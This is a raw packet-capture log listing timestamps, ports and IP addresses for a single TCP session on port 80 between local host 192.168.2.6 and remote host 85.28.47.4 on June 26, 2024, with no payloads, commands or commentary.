Jun 26, 2024 08:16:25.518825054 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.518840075 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.518847942 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.518865108 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.518933058 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.519273996 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.519282103 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.519296885 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.519403934 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.519512892 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.519520998 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.519536972 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.519581079 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.519589901 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.519589901 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.519589901 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.519598961 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.519608974 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.519635916 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.519700050 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.519761086 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.519769907 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.519784927 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.519793034 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.519799948 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.519808054 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.519815922 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.519823074 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.519824982 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.519848108 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.519848108 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.519865990 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.519910097 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.519927025 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.519934893 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.519942999 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.519951105 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.519957066 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.519972086 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.519975901 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.519975901 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.519982100 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.519992113 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.520000935 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.520031929 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.520031929 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.520051003 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.520055056 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.520067930 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.520076990 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.520085096 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.520092010 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.520113945 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.520113945 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.520150900 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.520155907 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.520174980 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.520183086 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.520190954 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.520198107 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.520206928 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.520226002 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.520226002 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.520251036 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.520308018 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.520317078 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.520339966 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.520348072 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.520363092 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.520370960 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.520380020 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.520384073 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.520396948 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.520407915 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.520421982 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.520422935 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.520422935 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.520441055 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.520454884 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.520495892 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.520495892 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.533489943 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.533507109 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.533523083 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.533530951 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.533539057 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.533546925 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.533555984 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.533687115 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.533725023 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.604990959 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.605000973 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.605009079 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.605190992 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.605308056 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.605385065 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.605669975 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.605678082 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.605694056 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.605762005 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.605762005 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.605783939 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.605793953 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.605801105 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.605817080 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.605833054 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.605865002 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.605917931 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.605926991 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.605935097 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.605942965 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.605969906 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.605987072 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.606004953 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.606012106 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.606012106 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.606029987 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.606038094 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.606045008 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.606054068 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.606060982 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.606061935 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.606070995 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.606080055 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.606085062 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.606103897 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.606132030 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.606168985 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.606178045 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.606193066 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.606199980 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.606209040 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.606215954 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.606224060 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.606231928 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.606234074 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.606247902 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.606300116 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.606333971 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.606342077 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.606357098 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.606364965 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.606379986 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.606388092 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.606404066 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.606405973 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.606405973 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.606412888 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.606431961 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.606448889 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.606482983 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.606489897 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.606504917 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.606513023 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.606519938 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.606537104 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.606585026 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.606590986 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.606594086 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.606606960 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.606612921 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.606621027 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.606628895 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.606637001 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.606646061 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.606646061 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.606656075 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.606678009 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.606689930 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.606714964 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.606769085 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.606789112 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.606839895 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.607002974 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.607021093 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.607029915 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.607038021 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.607047081 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.607057095 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.607074976 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.607085943 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.607095003 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.607110023 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.607117891 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.607142925 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.607142925 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.607172966 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.607201099 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.607208967 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.607215881 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.607223988 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.607233047 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.607254982 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.607279062 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.607320070 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.607327938 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.607343912 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.607358932 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.607367992 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.607377052 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.607382059 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.607382059 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.607422113 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.607471943 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.607481003 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.607489109 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.607496977 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.607506037 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.607527971 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.607537985 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.607542992 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.607542992 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.607575893 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.607609987 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.607619047 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.607635021 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.607642889 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.607660055 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.607667923 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.607681036 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.607681036 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.607683897 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.607692957 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.607734919 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.607734919 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.607745886 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.607772112 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.607786894 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.607795000 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.607810020 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.607817888 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.607835054 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.607836008 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.607836008 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.607841969 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.607884884 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.607884884 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.607917070 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.607923985 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.607939005 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.607948065 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.607961893 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.607970953 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.607985020 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.607985973 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.608007908 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.608064890 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.621069908 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.621078968 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.621087074 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.621125937 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.621133089 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.621149063 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.621156931 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.621156931 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.621191978 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.621191978 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.621264935 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.694250107 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.694343090 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.694350958 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.694367886 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.694375038 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.694391966 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.694400072 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.694434881 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.694472075 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.694493055 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.694502115 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.694516897 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.694525003 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.694540024 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.694547892 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.694564104 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.694576979 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.694576979 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.694582939 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.694593906 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.694600105 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.694600105 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.694644928 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.694658995 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.694665909 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.694684982 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.694691896 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.694709063 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.694715023 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.694715023 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.694716930 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.694725990 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.694732904 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.694741964 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.694756985 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.694787025 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.694798946 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.694822073 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.694829941 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.694844961 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.694853067 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.694860935 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.694899082 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.694899082 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.694962025 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.694972038 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.694988012 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.694996119 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.695002079 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.695015907 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.695024967 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.695034981 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.695048094 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.695049047 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.695060015 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.695075035 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.695082903 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.695085049 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.695096016 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.695126057 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.695194006 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.695287943 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.695296049 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.695311069 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.695317984 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.695326090 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.695341110 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.695358038 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.695369959 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.695369959 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.695372105 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.695380926 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.695389032 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.695416927 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.695426941 CEST	49713	80	192.168.2.6	85.28.47.4
